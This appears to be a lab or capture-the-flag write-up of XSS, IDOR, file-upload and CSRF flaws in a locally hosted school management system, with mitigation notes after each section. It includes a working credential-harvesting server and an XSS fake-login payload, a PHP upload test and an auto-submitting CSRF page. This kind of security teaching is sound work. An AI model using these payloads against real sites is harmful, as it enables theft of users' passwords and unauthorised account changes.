

VUNERABILITIES

SAI BHARGAV THOOMU

1.Cross-Site Scripting (XSS) in Pinboard Feature

Explanation

Cross-Site Scripting (XSS) is a web vulnerability where an attacker injects malicious scripts into web pages viewed by other users. In our school management system, the Pinboard allows students, teachers, and admins to post announcements. If the application does **not properly sanitize input**, a student can inject JavaScript code that executes in the browser of anyone viewing the Pinboard. This can lead to theft of session data, credentials, or other sensitive information.

In simple terms: XSS is like writing a hidden instruction inside a bulletin board note that everyone reads — the browser blindly executes the instruction without knowing it's malicious.

Challenge

HIJACKING THE LOGIN CREDINTIALS OF USERS

Challenge Hints

- You are logged in as a student.
 - The Pinboard allows posting messages.
 - Input may not be properly sanitized.
 - Test simple payloads to check execution.
-

Step 1: Test Payload Injection

1. Go to the Pinboard page as a student.
2. Create a new Pinboard message with the following payload:

```
<script>alert('XSS Test')</script>
```

3. Submit the message.
4. Check if an alert box with “XSS Test” pops up when you view the Pinboard.

Result: The alert executes — confirming XSS vulnerability.

Step 2: Exploit XSS to Steal Credentials

After confirming XSS works, you can escalate by making a **fake login form** that captures other users’ credentials.

Attacker Server Setup

1. Create a Python file named `attacker_server.py` with the following content:

```
2. from http.server import BaseHTTPRequestHandler, HTTPServer
3.
4. class RequestHandler(BaseHTTPRequestHandler):
5.     def do_POST(self):
6.         # Capture credentials silently
7.         content_length = int(self.headers['Content-Length'])
8.         post_data = self.rfile.read(content_length)
9.         with open("fake_login.log", "a") as f:
10.            f.write(post_data.decode() + "\n")
11.
12.         # Respond with a fake error message
13.         self.send_response(500)
14.         self.send_header('Content-Type', 'text/html')
15.         self.end_headers()
16.         self.wfile.write(b"<h2>Server error. Please try again
    later.</h2>")
17.
18. server_address = ('', 8080)
19. httpd = HTTPServer(server_address, RequestHandler)
20. print("Attacker server running on port 8080...")
21. httpd.serve_forever()
```

2. Run the attacker server on your local machine:

```
python attacker_server.py
```

3. The server listens on port 8080 and logs all submitted credentials to `fake_login.log`.
-

Step 3: Inject Fake Login Form via XSS

1. Post the following payload on the Pinboard:

2. Submit the message to the Pinboard.

```
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:whi
  <h2>Please log in again</h2>
  <form action="http://localhost:8080/fake-login" method="POST">
    <input type="text" name="username" placeholder="Username" style="margin:1
    <input type="password" name="password" placeholder="Password" style="marg
    <button type="submit">Login</button>
  </form>
</div>
```

3. When any student or teacher opens the Pinboard, the malicious form pops up, asking for login credentials.
4. Once submitted, the credentials are silently logged into fake_login.log on the attacker's machine.

Step 4: Verify Collected Data

1. Open the fake_login.log file on your attacker machine.
2. Observe the captured usernames and passwords from users who interacted with the malicious Pinboard post.

Key Points / Notes

- Browsers execute scripts in the context of the current user, which is why XSS can steal session data or credentials.
- This attack works because the Pinboard does **not sanitize HTML input**.
- Always validate and escape user inputs on the server side.
- A safer approach: use libraries or functions to escape HTML and disable rendering of raw user-submitted HTML.

2. Insecure Direct Object Reference (IDOR)

Explanation

IDOR occurs when a web application exposes internal objects (like user profiles) without verifying that the logged-in user is authorized to access them. This often happens if an

endpoint accepts object identifiers (like a username) directly from the URL. Attackers can manipulate these identifiers to access or change other users' data.

Challenge:

- Access another teacher's profile by changing the username query parameter in the URL.

Challenge Hints:

- You are logged in as a teacher.
- The profile page uses a username parameter to fetch profile details.
- The application does not verify that the username belongs to the logged-in user.

Solution / Step-by-Step:

1. Log in as a teacher:
2. `http://127.0.0.1:8000/login/teacher/profile/?username=TPX627`
3. Identify the URL parameter used to fetch the profile (username).
4. Change the parameter to another valid teacher username:
5. `http://127.0.0.1:8000/login/teacher/profile/?username=TPX999`
6. Reload the page. If another teacher's profile is visible, the endpoint is vulnerable.

Mitigation:

- Always fetch the logged-in user's object from session.
- Do not let the client control object identifiers.
- Enforce server-side access control.

3. Unrestricted File Upload Vulnerabilities

Unrestricted file upload happens when a web application does not properly validate the **size** or **type** of files uploaded by users. Attackers can exploit this to upload large files, unauthorized file types (like images instead of PDFs), or even executable scripts like .php.

1. Challenge: Upload a PDF Larger than Allowed Size

Goal: Test if the system allows large files (>1MB) to bypass size restrictions.

Step-by-Step:

1. Open the **Teacher Profile** page in your browser.
2. Open **Burp Suite** → Proxy → **Intercept ON**.
3. Select a **PDF file larger than 1MB** in the profile upload form.
4. Click **Submit/Upload**; the request will be intercepted by Burp Suite.
5. In the intercepted **POST request**, locate the multipart/form-data section containing your PDF file.
6. **Leave the file content unchanged** (since we are testing large size).
7. Click **Forward** to send the request to the server.
8. Verify if the large PDF was uploaded successfully by checking the profile page or the storage folder.

Hints:

- If the upload succeeds, it indicates the system does not enforce file size restrictions.
- Check Content-Length in headers to see the uploaded file size.

Solution / Mitigation:

- Enforce server-side file size limits (e.g., 1MB).
 - Reject oversized files and display an error message.
-

2. Challenge: Upload Unauthorized File Types (PNG, PHP, etc.)

Goal: Test if the system allows arbitrary file types instead of only PDFs.

Step-by-Step (PNG example):

1. Keep **Intercept ON** in Burp Suite.
2. On the profile page, select a **PNG image** for upload.
3. Click **Submit**; Burp intercepts the POST request.
4. In the intercepted request, locate the Content-Disposition section containing the filename.
5. **Ensure the filename ends with .png.**
6. Make sure the **Content-Type header** matches the file type (image/png).
7. Click **Forward** to send the request.
8. Verify the PNG file is accepted and stored in the server.

Step-by-Step (Direct PHP upload):

1. Prepare a **PHP file**, e.g., test.php with content:

```
<?php echo "Hacked!"; ?>
```

2. Keep **Intercept ON** in Burp Suite.
3. Select any file in the upload form (e.g., a PDF placeholder) and click **Submit**.
4. Intercepted request appears in Burp → Modify the request:
 - Replace the **filename** with test.php.
 - Change **Content-Type** to application/x-php or application/octet-stream.
 - Replace the **file content** with the PHP file's content.
5. Forward the request to the server.
6. Check the folder where files are stored. If accessible, the PHP file might execute — showing a **remote code execution vulnerability**.

Hints:

- Always check headers like Content-Type and filename in intercepted requests.
- Forward modified requests to see if the server accepts them.

4. Cross-Site Request Forgery (CSRF)

Explanation

Cross-Site Request Forgery (CSRF) is a web vulnerability where an attacker tricks a logged-in user's browser into performing an action that the user never intended. The dangerous part is that the action looks completely legitimate to the website because the browser automatically sends the user's session cookies or login tokens along with the request. Think of it like someone secretly guiding your hand to sign a paper — the signature looks real, but you didn't actually mean to sign it. Attackers can use CSRF to update profiles, change passwords, or perform other sensitive actions without the victim's knowledge.

Challenge:

- Update a teacher's profile without logging in as that teacher.

Challenge Hints:

- You are logged in as a teacher.

- The teacher_profile endpoint is marked as @csrf_exempt.
- The page accepts POST requests to update profile fields like firstname, lastname

Solution / Step-by-Step:

1. Save the following HTML file as attacker.html:

```

2. <!DOCTYPE html>
3. <html>
4. <head>
5.     <title>CSRF Attack Demo</title>
6. </head>
7. <body>
8.     <h1>CSRF Attack Demo Page</h1>
9.     <p>If your teacher profile page is vulnerable to CSRF, this form
    will submit silently.</p>
10.
11.     <form id="csrfAttackForm"
    action="http://127.0.0.1:8000/login/teacher/profile/?username=TQV633"
    method="POST" enctype="multipart/form-data">
12.         <!-- Inputs to change the profile (adjust field names as
    needed) -->
13.         <input type="hidden" name="firstname" value="HackedName">
14.         <input type="hidden" name="lastname" value="HackedLast">
15.         <!-- Note: File uploads can't be auto-filled by HTML for
    security, so this demo won't upload files -->
16.     </form>
17.
18.     <script>
19.         // Auto-submit the form after page loads
20.         window.onload = function() {
21.             document.getElementById('csrfAttackForm').submit();
22.         };
23.     </script>
24. </body>
25. </html>
26.

```

2. Open a terminal in the folder containing attacker.html and run:

```
python -m http.server 8001
```

3. In the same browser session where you are logged in as TQV633, visit:

```
http://127.0.0.1:8001/attacker.html
```

4. The page auto-submits a POST request. If CSRF protection is disabled, the victim's profile is updated.

Vulnerable Code Pattern:

```
@csrf_exempt  
  
@session_required('Teacher_login')  
  
def teacher_profile(request):  
    # Vulnerable: CSRF not enforced
```

Mitigation:

- Remove `@csrf_exempt` and include `{% csrf_token %}` inside all `<form method="post">` templates.
- Use session-based identifiers to ensure the user is performing actions only on their own data.

